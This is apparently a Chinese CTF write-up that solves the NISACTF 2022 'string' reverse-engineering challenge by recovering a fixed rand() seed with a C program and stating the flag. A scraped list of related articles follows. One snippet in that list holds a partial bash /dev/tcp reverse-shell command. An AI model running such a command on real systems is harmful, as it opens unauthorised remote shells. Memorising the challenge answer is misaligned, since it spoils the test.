附件下载,查壳

发现是ELF程序,64位,ida打开分析

flag函数点进去

前面一堆代码其实都不重要,直接看主要代码:

 puts("The length of flag is 13");
  srand(seed);
  printf("NSSCTF{");
  for ( m = 0; m < 13; ++m )
  {
    v4 = rand();
    printf("%d", (unsigned int)(v4 % 8 + 1));
  }
  putchar(125);
  return &v6[-v12];
}

这里seed点进去发现是0x2766,已经给了随机数,所有可以不用动态调试

然后flag应该就是13个随机数,现在主要问题就是得出这些随机数,因为这是个linux下的程序,和windows下的生成是不一样的,写好的代码需要在linux下编译

c代码如下:

#include<stdio.h>
#include<stdlib.h>

int main(){
   int num=0x2766;
   srand(num);
   for(int i=0;i<13;i++){
          unsigned int ch=rand();
          printf("%d ",ch%8+1);
   }    
   return 0;
}

然后再linux下,用gcc编译,gcc test.c -o flag

然后运行

故flag为flag{5353316611126}

【re】[NISACTF 2022]string --linux下的随机数的更多相关文章

  1. Linux下对拍脚本与随机数生成器

    对拍脚本 新建一个文档 check.sh 作为对拍脚本. #!/bin/bash while(true)do #死循环 ./data > .in #运行数据生成器,将数据输出到1.in ./st ...

  2. linux下错误的捕获:errno(errno.h)和strerror(string.h)的使用

    参考:http://blog.csdn.net/starstar1992/article/details/52756387 linux下错误的捕获:errno和strerror的使用 经常在调用lin ...

  3. linux下的文本处理命令sed&awk&grep

    Sedsed 是个精简的.非交互式的编辑器.他能执行和编辑vi和emacs相同的编辑任务.sed编辑器不提供交互使用方式:只能在命令行输入编辑命令.指定文件名,然后在屏幕上察看输出.sed编辑器没有破 ...

  4. 使用c语言实现在linux下的openssl客户端和服务器端编程

    使用c语言实现在linux下的openssl客户端和服务器端编程 摘自:https://www.cnblogs.com/etangyushan/p/3679457.html 前几天组长让我实现一个使用 ...

  5. Linux下的C Socket编程 -- server端的继续研究

    Linux下的C Socket编程(四) 延长server的生命周期 在前面的一个个例子中,server在处理完一个连接后便会立即结束掉自己,然而这种server并不科学啊,server应该是能够一直 ...

  6. 我将系统从Windows迁移至Linux下的点点滴滴

    一.写在最前 由于本人的技术水平有限,难免会出现错误.本文对任何一个人有帮助都是我莫大的荣幸,任何一个大神对我的点拨,我都会感激不尽. 二.技术选型 在2013年8月低的时候,公司中了XXX市场监督局 ...

  7. linux下mono播放PCM音频

         测试环境: Ubuntu 14 MonoDevelop CodeBlocks 1.建立一个共享库(shared library) 这里用到了linux下的音频播放库,alsa-lib. al ...

  8. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  9. Linux下命令行安装weblogic10.3.6

    Linux下命令行安装weblogic10.3.6 一.安装前准备工作: 1.创建用户useradd weblogic;创建用户成功linux系统会自动创建一个和用户名相同的分组,并将该用户分到改组中 ...

  10. Linux下用ftp更新web内容!

    使用ftp更新web!让网页更新一次OK! 配置如下: 1.在Linux下安装ftp服务器! yum -y install vsftpd #ftp由vsftpd提供! 2.配置主配置文件/etc/vs ...

随机推荐

  1. AI回答打鸟问题

    GPT-3.5 树上有9只鸟,猎枪打下来1只,还剩几只? 如果猎枪打下来1只鸟,那么树上剩下的鸟应该是8只.

  2. pgrep:根据名称或其他属性查找进程(查找系统中running状态的进程)

    用法示例 # 根据名称过滤 dewan Work ~/code/shell% pgrep qemu 3570191 dewan Work ~/code/shell% pgrep qemu -l 357 ...

  3. EaselJS 源码分析系列--第四篇

    鼠标交互事件 前几篇关注的是如何渲染,那么鼠标交互如何实现呢? Canvas context 本身没有像浏览器 DOM 一样的交互事件 EaselJS 如何在 canvas 内实现自己的鼠标事件系统? ...

  4. CentOS7更新OpenSSH

    前言 整个过程不要断开ssh链接,如有必要可使用telnet远程操作. 系统版本:centos 7.9 OpenSSL版本:1.0.2k -> 1.1.1q OpenSSH版本:7.4p1 -& ...

  5. [kafka]部署安装单节点

    前言 kafka 3.0之前的版本需要依赖zookeeper,3.0版本之后可不依赖zookeeper. 基于zookeeper的安装步骤 节点IP:172.50.13.103 kafka版本:2.7 ...

  6. Mybatis操作数据库流程源码

    Java操作数据库需要经过3个大步骤: 获取数据库连接 执行SQL语句 关闭数据库连接 Mybatis将这几个步骤进行了封装,将获取数据库连接的给工作交给了SqlSessionFactory,将执行S ...

  7. uniapp封装接口

    1 为什么需要封装接口 封装接口是为了提高开发效率.增加代码复用性和提升可维护性.下面对这些原因进行详细解释: 1.1 开发效率 开发效率:减少代码量,简化调用过程 通过封装接口,可以将一些常见的操作 ...

  8. 【微信自动化】使用c#实现微信自动化

    引言 上个月,在一个群里摸鱼划水空度日,看到了一个老哥分享的一个微信自动化的一个类库,便下载了他的Demo,其本意就是模拟鼠标来操作UI,实现UI自动化:然后自己在瞎琢磨研究,写了一个简单的例子,用来 ...

  9. WPF学习 - 自定义Panel

    WPF中的Panel(面板),是继承自FrameworkElement的抽象类,表示一个可以用来排列子元素的面板. 在WPF中,一种预设了几种常用的面板,如Grid.StackPanel.WrapPa ...

  10. 【python技巧】替换文件中的某几行

    [python技巧]替换文件中的某几行 1. 背景描述 最近在写一个后端项目,主要的操作就是根据用户的前端数据,在后端打开项目中的代码文件,修改对应位置的参数,因为在目前的后端项目中经常使用这个操作, ...